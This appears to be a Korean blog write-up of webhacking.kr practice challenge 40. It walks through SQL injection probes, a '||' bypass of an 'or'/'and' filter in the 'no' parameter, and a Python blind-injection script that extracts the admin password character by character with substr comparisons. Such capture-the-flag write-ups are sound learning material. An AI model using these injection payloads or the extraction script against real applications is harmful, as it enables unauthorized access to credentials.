WEB/webhacking.kr (old)

webhacking.kr 40번

hongjw 2020. 3. 19. 00:10

challenge 40 첫화면

이번 문제도 SQL Injection문제인 것같다 (•ε•;)

 

login을 하면, GET방식으로 no=1&id=guest&pw=guest가 전달되어 Success-guest라고 출력되는 것을 볼 수 있다.

 

이것저것 입력해본 결과, access denied와 Failure가 출력되는 것을 볼 수 있었다.

no=1' or 1=1 -- &id=guest&pw=guest

no=1' or 1=2 -- &id=guest&pw=guest

-->no에서 or과 and가 필터링됨

 

no=1&id=guest' or 1=1#&pw=guest

no=1&id=guest' or 1=2#&pw=guest

-->id에서는 or과 and가 필터링되지 않음

no=2&id=guest&pw=guest

no=2&id=admin&pw=admin (뭔가 admin의 no은 2일 것같아 입력해봤지만 Failure ㅎ)

 

그리고, no=0||no=2&id=admin&pw=admin 를 입력했더니 admin password를 입력하는 폼이 떴다.

그치만 현재로써 admin password에 관한 정보는 아는 것이 없기에..,(。•́︿•̀。) 코드를 짜야한다. (Blind SQL..)

 

먼저 비밀번호의 길이를 알아내기 위해 length함수를 이용하였다.

pw의 길이를 늘려가며 시도해 본 결과, length(pw)=10일 때 admin password 입력창이 출력되었다 !

( length(pw)=10이 아닐 경우에는 Failure 출력 )

 

이제 pw를 알아내기 위해 코드를 짜보았다.

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url 	= "https://webhacking.kr/challenge/web-29/?no="
headers = { "Cookie" : "PHPSESSID=세션 값" }
proxies = { "http" : "http://127.0.0.1:8888",
			"https": "https://127.0.0.1:8888" }


pwLen 	= 10
password = ""

for plen in range(1,pwLen+1):

	 for num in range(33,127):

	 	if num<=90 and num>=65:
	 		continue

	 	N 		= hex(num).split("0x")[1]
	 	payload	= "0%7C%7Cno%3D2%26%26substr(pw,{},1)=0x{}&id=admin&pw=admin".format(plen,N)
	 	res 	= requests.get(url=url+payload,headers=headers,proxies=proxies,verify=False)

	 	if "admin" in res.text:
	 		password += chr(num)
	 		print(plen,"word : ", password)
	 	else:
	 		pass

print("Found password : ", password)

#http://mwultong.blogspot.com/2007/12/16-2-10-8-hex.html

 

나온 password값을 admin passowrd에 입력해주면 문제 해결 ~~!~!! (*ૂ❛ัᴗ❛ั*ૂ)

'WEB > webhacking.kr (old)' 카테고리의 다른 글

webhacking.kr 30번  (1) 2020.03.21
webhacking.kr 44번  (0) 2020.03.19
webhacking.kr 4번  (0) 2020.02.23
webhacking.kr 61번  (0) 2020.02.19
webhacking.kr 59번  (0) 2020.02.18